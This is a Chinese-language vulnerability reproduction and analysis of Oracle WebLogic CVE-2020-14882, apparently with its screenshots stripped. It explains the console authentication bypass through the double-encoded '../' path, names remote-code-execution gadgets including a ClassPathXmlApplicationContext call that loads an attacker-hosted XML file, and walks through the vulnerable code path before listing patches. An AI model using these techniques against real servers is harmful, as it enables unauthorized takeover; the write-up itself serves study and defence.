漏洞概述:
漏洞编号:
漏洞等级:
受影响的版本:
二、复现
复现环境:
权限绕过漏洞(CVE-2020-14882)复现:
在正常访问console后台时会提示输入帐号密码
通过未授权访问,则可以绕过验证直接访问后台。
可看到通过未授权访问的后台与正常登陆的后台相比,由于权限不足,缺少部署等功能,无法安装应用,所以也无法通过部署项目等方式直接获取权限。
‘%252E%252E%252F’即为二次URL编码过后的‘../’,通过这个就可以实现穿越路径未授权访问相关管理后台
任意代码执行复现:
利用方式(一):
其他gadget:
com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://IP/poc.xml")
利用方式(二):
通过com.tangosol.coherence.mvel2.sh.ShellSession,但此利用方法只能在Weblogic 12.2.1及以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。
当使用12版本测试时,即可测试成功
其他exp:
比如回显的
或者POST形式 :
调试分析:
首先,通过静态资源文件绕过路径权限的校验。之后weblogic会对提交的url进行两次url解码。最后会将handle中的参数传入HandleFactory执行任意代码。
从绕过路径权限的校验开始。首先weblogic的请求会经过weblogic.servlet.internal.WebAppServletContext#execute处理,这里会调用securedExecute()
跟进securedExecute,后会调用doSecuredExecute,继续跟进
weblogic.servlet.internal.WebAppServletContext#doSecuredExecute
在这里调用checkAccess进行权限的检查
进入weblogic.servlet.security.internal.WebAppSecurity#checkAccess()中可以看到当我们请求的路径为/console/console.portal时,checkAllResources为false
这里跟进weblogic.servlet.security.internal.WebAppSecurityWLS#getConstraint()
这里即比较我们的relURI是否匹配我们matchMap中的路径,并判断rcForAllMethods和rcForOneMethod是否为null
当我们的relURI为/console.portal时,rcForAllMethods不为null,rcForOneMethod为null,所以返回了rcForAllMethods。而对应静态资源就不会有限制和校验
接下来回到checkAccess,如果这里是原来的/console.portal时,到这就结束了
如果使用console/images/console.portal则会继续判断resourceConstraint及后续的isAuthorized,并进入weblogic.servlet.security.internal.ChainedSecurityModule#checkAccess
在weblogic.servlet.security.internal.CertSecurityModule#checkUserPerm中会进入hasPermission校验权限
所以当我们这里使用静态资源路径时,unrestrict值就为true
之后会根据web.xml中的配置对应的AsyncInitServlet来到了weblogic.servlet.AsyncInitServlet#service
这里如果解码后的url里没有;,那么就会继续调用super.service
再次进入super.service()
最终不管哪种请求都会来到doPost,并在这里调用createUIContext
可以看到此时已经经过了一次解码
随后进入getTree又进行了一次解码,此时requestPattern就变成/css/../console.portal
之后来到com.bea.console.utils.BreadcrumbBacking#init类,进入findFirstHandle
这里会逐个检查参数中是否有handle并将handle的参数内容提取出来返回
最后将获取到的handleStr作为参数调用HandleFactory.getHandle(handleStr);此时也就来到了代码执行的入口
此时传进来的handleStr会在这里被拆成两部分,一个作为被实例化的类,另一个作为该类的构造函数参数及实例化,比如java.lang.String('aaaa'),被拆分成java.lang.String和aaaa
所以我们就可根据此来构造gadget,最终通过反射机制在此触发
比如当我们构造了恶意gadget后就变成了这样,随后即可触发rce
三、修复
目前Oracle官方已发布了最新针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新。
Oracle官方补丁需要用户持有正版软件的许可账号,使用该账号登陆https://support.oracle.com后,可以下载最新补丁。
参考链接:https://www.oracle.com/security-alerts/cpuoct2020.html
在旧版补丁中,使用黑名单过滤,可使用大小写绕过,请更新最新版的补丁,或者如无使用必要可选择关闭console。
如若转载,请注明原文地址